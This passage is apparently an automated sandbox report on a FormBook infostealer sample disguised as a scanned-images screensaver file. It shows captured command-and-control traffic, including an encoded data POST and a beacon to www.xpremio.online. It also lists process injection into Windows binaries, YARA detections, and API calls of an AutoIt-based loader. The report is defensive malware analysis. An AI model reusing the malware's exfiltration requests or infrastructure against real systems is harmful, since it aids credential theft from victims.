35	192.168.2.4	57618	84.32.84.32	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:27:02.001713037 CET	10808	OUT	POST /8vp1/ HTTP/1.1 Host: www.xpremio.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.xpremio.online Referer: http://www.xpremio.online/8vp1/ Cache-Control: no-cache Connection: close Content-Length: 10300 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 79 4a 37 41 55 53 67 78 6a 69 7a 6e 34 48 57 35 49 43 64 61 43 53 33 61 59 41 41 2b 45 36 2b 69 51 64 36 37 37 79 75 4f 47 6d 69 6a 32 6d 49 52 54 51 30 36 31 50 58 4d 4c 59 6a 78 2f 69 57 6b 58 51 4e 79 2f 71 69 32 31 76 50 61 6c 67 6a 31 59 66 41 35 76 38 75 61 6e 4d 68 37 49 70 66 31 71 63 64 43 4d 4e 78 69 71 31 43 5a 75 34 6f 55 52 4a 35 54 62 2b 2b 59 5a 33 42 4a 52 32 42 57 68 47 6b 5a 63 37 54 61 6b 55 6e 42 38 58 39 59 50 4d 30 35 4a 48 47 65 5a 50 32 4f 38 34 66 51 72 33 6b 52 68 59 33 5a 55 50 38 74 34 6c 45 4e 79 39 71 4b 66 71 74 39 43 74 6a 6b 55 6b 32 70 6d 42 67 4c 64 7a 4e 69 69 61 78 62 43 70 70 55 42 6a 38 58 47 6e 30 75 52 51 5a 39 6b 7a 2b 78 75 76 59 71 68 39 43 75 4b 62 73 57 6d 44 2f 67 67 62 76 75 48 56 4a 38 45 4c 73 52 33 4d 37 37 4a 6f 33 6b 55 49 41 6f 44 64 47 68 7a 30 33 51 4e 4d 6b 41 64 69 45 65 66 75 67 69 37 47 54 6a 78 43 62 33 67 72 33 66 33 76 68 59 38 46 58 42 74 72 61 37 57 62 33 72 61 57 64 4e 47 64 78 6a 49 74 4a 57 72 56 4e 56 2b 36 6b 43 31 4b [TRUNCATED] Data Ascii: wz4=yJ7AUSgxjizn4HW5ICdaCS3aYAA+E6+iQd677yuOGmij2mIRTQ061PXMLYjx/iWkXQNy/qi21vPalgj1YfA5v8uanMh7Ipf1qcdCMNxiq1CZu4oURJ5Tb++YZ3BJR2BWhGkZc7TakUnB8X9YPM05JHGeZP2O84fQr3kRhY3ZUP8t4lENy9qKfqt9CtjkUk2pmBgLdzNiiaxbCppUBj8XGn0uRQZ9kz+xuvYqh9CuKbsWmD/ggbvuHVJ8ELsR3M77Jo3kUIAoDdGhz03QNMkAdiEefugi7GTjxCb3gr3f3vhY8FXBtra7Wb3raWdNGdxjItJWrVNV+6kC1KamQl7hE2tz/5TYB9ey6LqUJ+Kauv4dpdKMyb6AWn+VOLNzU1u7PWzPAqBGA4zvZt/v3pnxQZdMCtM6PD9uLiQAuPdiYIgL5Iz7tm6W6EK2sVLWBNzERCRA0b0VQVDUhx87rxDS4v+Abcr6MydkUxxNvBHCb3SYj+PW/xrotSd9rd0tZZDflMMECobVEIA4a/+4BRlWxppZGzElvnpSwp0FdiPwXK84rVQF6/azYJagdFvj8CApp10f6Z7UAZ4yO5BlAZ6JNLOqIoGSNfFTzdr1tFbqMDTYkCZpPqQhjR8ZLWVZitJTNa96xOK9/xx4lr0LW/UF7/U/mBP7RzyS9VZlyzo0Bq3EUKWF4K+KrdEm3H7i+/5knAMXmLAy5UJqV59b4XqyaHh35gi7PHsfJGGIleDyl0ujUgA4hCKMHMfZj9/ipYWZ0BVUMxN0VYO0gktTCR0HQ/MenZ9u3HgdI90ilSDMEQqz4CnvwmIu6I43/UlqeIbAgUKfNYzJYwRo+C0YCx6DXJ8yf5ChQitg+6rJ4HCXFQEaiB6MIamLjOzRxwX9HzykU9Y16KzTX5UPfsyPxlT+8wxsEnBaRRfjWMkC25gSFNiSFCqyNUfRVwUiFHRhIPg8MEBqBGpLGq8CB/7B0NrH2I74o4QLJuFucI5MS8BGtR35pQq8 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	57619	84.32.84.32	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:27:04.672426939 CET	441	OUT	GET /8vp1/?wz4=/LTgXn1km3iwlVyiegwnGjWZZFB0eLisfcmkyyqxOnWJ8H9CeAgPjsH/KIvj3CyMdhcMqJeWq/63o3TMWNYzsf+ek40CYofT8u9WJYZhwl3Hq5liXp4GPpE=&OvV=2njD6f80EDOLQ8 HTTP/1.1 Host: www.xpremio.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko
Jan 14, 2025 10:27:05.120187044 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 09:27:05 GMT Content-Type: text/html Content-Length: 9973 Connection: close Vary: Accept-Encoding Server: hcdn alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: 907e6d0a26500b5a5b81ff370f04a723-bos-edge2 Expires: Tue, 14 Jan 2025 09:27:04 GMT Cache-Control: no-cache Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 22 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f [TRUNCATED] Data Ascii: <!doctype html><title>Parked Domain name on Hostinger DNS system</title><meta charset=utf-8><meta content="IE=edge,chrome=1" http-equiv=X-UA-Compatible><meta content="Parked Domain name on Hostinger DNS system" name=description><meta content="width=device-width,initial-scale=1" name=viewport><link href=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js></script><link href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel=stylesheet><style>html{height:100%}body{font-family:"O
Jan 14, 2025 10:27:05.120206118 CET	224	IN	Data Raw: 70 65 6e 20 53 61 6e 73 22 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 32 38 3b 62 61 63 Data Ascii: pen Sans",Helvetica,sans-serif;color:#000;padding:0;margin:0;line-height:1.428;background:linear-gradient(10.7deg,#e9edfb -50.21%,#f6f8fd 31.11%,#fff 166.02%)}h1,h2,h3,h4,h5,h6,p{padding:0;margin:0;color:#333}h1{font-size:30
Jan 14, 2025 10:27:05.120229006 CET	1236	IN	Data Raw: 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 23 33 33 33 7d 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 7d 68 33 7b 66 6f 6e 74 2d Data Ascii: px;font-weight:600!important;color:#333}h2{font-size:24px;font-weight:600}h3{font-size:22px;font-weight:600;line-height:28px}hr{margin-top:35px;margin-bottom:35px;border:0;border-top:1px solid #bfbebe}ul{list-style-type:none;margin:0;padding:0
Jan 14, 2025 10:27:05.120243073 CET	1236	IN	Data Raw: 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 74 6f 70 2d 63 6f 6e 74 61 69 6e 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 7d 2e 6d 65 73 73 61 67 65 2d 73 75 62 74 69 74 6c 65 7b 63 6f 6c 6f 72 Data Ascii: lign:center}.top-container{display:flex;flex-direction:row}.message-subtitle{color:#2f1c6a;font-weight:700;font-size:24px;line-height:32px;margin-bottom:16px}.message{width:60%;height:auto;padding:40px 0;align-items:baseline;border-radius:5px;
Jan 14, 2025 10:27:05.120258093 CET	1236	IN	Data Raw: 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 61 64 64 69 6e 67 3a 34 70 78 20 38 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 Data Ascii: align:middle;text-align:center;display:inline-block;padding:4px 8px;font-weight:700;border-radius:4px;background-color:#fc5185}@media screen and (max-width:768px){.message{width:100%;padding:35px 0}.container{margin-top:30px}.navbar-links{disp
Jan 14, 2025 10:27:05.120274067 CET	1236	IN	Data Raw: 63 61 70 22 3e 3c 2f 69 3e 20 54 75 74 6f 72 69 61 6c 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 68 6f 73 74 69 6e 67 65 72 2e 63 6f 6d 2f 65 6e 2f 20 72 65 6c 3d 6e 6f 66 6f Data Ascii: cap"></i> Tutorials</a></li><li><a href=https://support.hostinger.com/en/ rel=nofollow><i aria-hidden=true class="fa-readme fab"></i>Knowledge base</a></li><li><a href=https://www.hostinger.com/affiliates rel=nofollow><i aria-hidden=true class
Jan 14, 2025 10:27:05.120301008 CET	1236	IN	Data Raw: 66 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 68 6f 73 74 69 6e 67 65 72 2e 63 6f 6d 20 72 65 6c 3d 6e 6f 66 6f 6c 6c 6f 77 3e 46 69 6e 64 20 79 6f 75 72 20 68 6f 73 74 69 6e 67 20 70 6c 61 6e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 Data Ascii: f=https://www.hostinger.com rel=nofollow>Find your hosting plan</a></div></div><div class="col-xs-12 col-sm-4 column-custom-wrap"><div class=column-custom><div class=column-title>Add website to your hosting</div><br><p>Add your website to any
Jan 14, 2025 10:27:05.120316029 CET	1236	IN	Data Raw: 2c 74 3d 6f 2e 6c 65 6e 67 74 68 3b 6e 3c 74 3b 29 7b 69 66 28 35 35 32 39 36 3d 3d 28 36 33 34 38 38 26 28 72 3d 6f 5b 6e 2b 2b 5d 29 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 55 54 46 2d 31 36 28 65 6e 63 6f 64 65 Data Ascii: ,t=o.length;n<t;){if(55296==(63488&(r=o[n++])))throw new RangeError("UTF-16(encode): Illegal UTF-16 value");65535<r&&(r-=65536,e.push(String.fromCharCode(r>>>10&1023\|55296)),r=56320\|1023&r),e.push(String.fromCharCode(r))}return e.join("")}};va
Jan 14, 2025 10:27:05.120407104 CET	1236	IN	Data Raw: 2c 74 26 26 79 2e 73 70 6c 69 63 65 28 66 2c 30 2c 65 2e 63 68 61 72 43 6f 64 65 41 74 28 64 2d 31 29 2d 36 35 3c 32 36 29 2c 6d 2e 73 70 6c 69 63 65 28 66 2c 30 2c 61 29 2c 66 2b 2b 7d 69 66 28 74 29 66 6f 72 28 66 3d 30 2c 77 3d 6d 2e 6c 65 6e Data Ascii: ,t&&y.splice(f,0,e.charCodeAt(d-1)-65<26),m.splice(f,0,a),f++}if(t)for(f=0,w=m.length;f<w;f++)y[f]&&(m[f]=String.fromCharCode(m[f]).toUpperCase().charCodeAt(0));return this.utf16.encode(m)},this.encode=function(t,a){var h,f,i,c,u,d,l,p,g,s,C,w
Jan 14, 2025 10:27:05.120420933 CET	200	IN	Data Raw: 6d 61 74 63 68 28 2f 5e 78 6e 2d 2d 2f 29 3f 70 75 6e 79 63 6f 64 65 2e 64 65 63 6f 64 65 28 74 2e 73 6c 69 63 65 28 34 29 29 3a 74 29 7d 72 65 74 75 72 6e 20 65 2e 6a 6f 69 6e 28 22 2e 22 29 7d 7d 2c 70 61 74 68 4e 61 6d 65 3d 77 69 6e 64 6f 77 Data Ascii: match(/^xn--/)?punycode.decode(t.slice(4)):t)}return e.join(".")}},pathName=window.location.hostname,account=document.getElementById("pathName");account.innerHTML=punycode.ToUnicode(pathName)</script>

Target ID:	0
Start time:	04:23:59
Start date:	14/01/2025
Path:	C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe"
Imagebase:	0x450000
File size:	1'613'824 bytes
MD5 hash:	17CBB82B7DB7A77DF6507DD32AF10563
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	04:24:00
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe"
Imagebase:	0x30000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1829643197.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1835373056.00000000091A0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1830333241.0000000005AE0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:24:05
Start date:	14/01/2025
Path:	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe"
Imagebase:	0x130000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.3549362625.0000000004810000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	04:24:07
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\verclsid.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\verclsid.exe"
Imagebase:	0x8a0000
File size:	11'776 bytes
MD5 hash:	190A347DF06F8486F193ADA0E90B49C5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.3548246487.0000000003320000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.3548136805.00000000032D0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.3547874217.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	04:24:21
Start date:	14/01/2025
Path:	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe"
Imagebase:	0x130000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.3551901085.0000000005770000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	04:24:32
Start date:	14/01/2025
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x130000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.7%
Dynamic/Decrypted Code Coverage:	2%
Signature Coverage:	3.5%
Total number of Nodes:	1634
Total number of Limit Nodes:	44

Executed Functions

Function 004542DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 0045430D

Part of subcall function 00456B57: _wcslen.LIBCMT ref: 00456B6A

GetCurrentProcess.KERNEL32(?,004ECB64,00000000,?,?), ref: 00454422
IsWow64Process.KERNEL32(00000000,?,?), ref: 00454429
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 00454454
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00454466
GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 00454474
FreeLibrary.KERNEL32(00000000,?,?), ref: 0045447B
GetSystemInfo.KERNEL32(?,?,?), ref: 004544A0

Strings

GetNativeSystemInfo, xrefs: 00454460
|O, xrefs: 004936F8
kernel32.dll, xrefs: 0045444F

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: 959a05911e8203511571b9cdb0bac9a692c6a4848dcc758ae86540ac2a936365
Instruction ID: babe8a42e6f413c8375601808576abb9e8e0803e2490286b0998542110977039
Opcode Fuzzy Hash: 959a05911e8203511571b9cdb0bac9a692c6a4848dcc758ae86540ac2a936365
Instruction Fuzzy Hash: 05A1F862909AD0CFCB31CB697C841977FE66F77345B145CAAD44097722D228094FEB2E

Function 004542A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,004550AA,?,?,00000000,00000000), ref: 004542B2
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,004550AA,?,?,00000000,00000000), ref: 004542C9
LoadResource.KERNEL32(?,00000000,?,?,004550AA,?,?,00000000,00000000,?,?,?,?,?,?,00454F20), ref: 004935BE
SizeofResource.KERNEL32(?,00000000,?,?,004550AA,?,?,00000000,00000000,?,?,?,?,?,?,00454F20), ref: 004935D3
LockResource.KERNEL32(004550AA,?,?,004550AA,?,?,00000000,00000000,?,?,?,?,?,?,00454F20,?), ref: 004935E6

Strings

SCRIPT, xrefs: 004542BF

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 70d6f82660b5fa3f85cf1038757dc770429d5e110491014777d943d30d36a19a
Instruction ID: 75ed67754c6c604d31e45b43c9c53b8b12214b266b346f5da3e90256e1edca32
Opcode Fuzzy Hash: 70d6f82660b5fa3f85cf1038757dc770429d5e110491014777d943d30d36a19a
Instruction Fuzzy Hash: 0511CE70600301BFDB218B65DC88F277BB9EFC5B96F2041AAF903CA291DB71DC068665

Function 00492BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetCurrentDirectoryW.KERNEL32(?), ref: 00452B6B

Part of subcall function 00453A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00521418,?,00452E7F,?,?,?,00000000), ref: 00453A78

Part of subcall function 00459CB3: _wcslen.LIBCMT ref: 00459CBD

GetForegroundWindow.USER32(runas,?,?,?,?,?,00512224), ref: 00492C10
ShellExecuteW.SHELL32(00000000,?,?,00512224), ref: 00492C17

Strings

runas, xrefs: 00492C0B

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CurrentDirectoryExecuteFileForegroundModuleNameShellWindow_wcslen
String ID: runas
API String ID: 448630720-4000483414
Opcode ID: df210a6ac257138d55902ac4375985d82374d2501d7b738dc0e6180d0021b0f1
Instruction ID: f64566410f8ea76675a4be1f4b43f367cc6257d259289fc73f5fb63cd177a1bb
Opcode Fuzzy Hash: df210a6ac257138d55902ac4375985d82374d2501d7b738dc0e6180d0021b0f1
Instruction Fuzzy Hash: 1C11EB31104345AACB14FF21D9919AE7BA5AFA2747F44042FFC46020A3DF78994EC75A

Function 0045D730 Relevance: 21.6, APIs: 14, Instructions: 627windowsleeptimeCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 0045D807
timeGetTime.WINMM ref: 0045DA07
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0045DB28
TranslateMessage.USER32(?), ref: 0045DB7B
DispatchMessageW.USER32(?), ref: 0045DB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0045DB9F
Sleep.KERNEL32(0000000A), ref: 0045DBB1

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
String ID:
API String ID: 2189390790-0
Opcode ID: fdfcb41e7058bca633c8f0106a44ab5a5e5c4311088f8785d6789b08d9629c3f
Instruction ID: 5980e07657dc114a6b6143f1586959ae71397f788b64b2575bacb261495b16e1
Opcode Fuzzy Hash: fdfcb41e7058bca633c8f0106a44ab5a5e5c4311088f8785d6789b08d9629c3f
Instruction Fuzzy Hash: 6342F370A04241DFD734CF25C884BABB7A1BF56305F14451FE856873A2D7B8E849DB8A

Function 00452CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00452D07
RegisterClassExW.USER32(00000030), ref: 00452D31
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00452D42
InitCommonControlsEx.COMCTL32(?), ref: 00452D5F
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00452D6F
LoadIconW.USER32(000000A9), ref: 00452D85
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00452D94

Strings

AutoIt v3 GUI, xrefs: 00452D23
+, xrefs: 00452CF0
0, xrefs: 00452CE9
TaskbarCreated, xrefs: 00452D37

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 463af00f0d8c18ee1c456aa3683d0cbcc8a1d9b1ff42be713a645beb3481d670
Instruction ID: 08a2d57615731d76dc1c9b0d1d903e2b97c2b75c2ff148221c1dc60556150d29
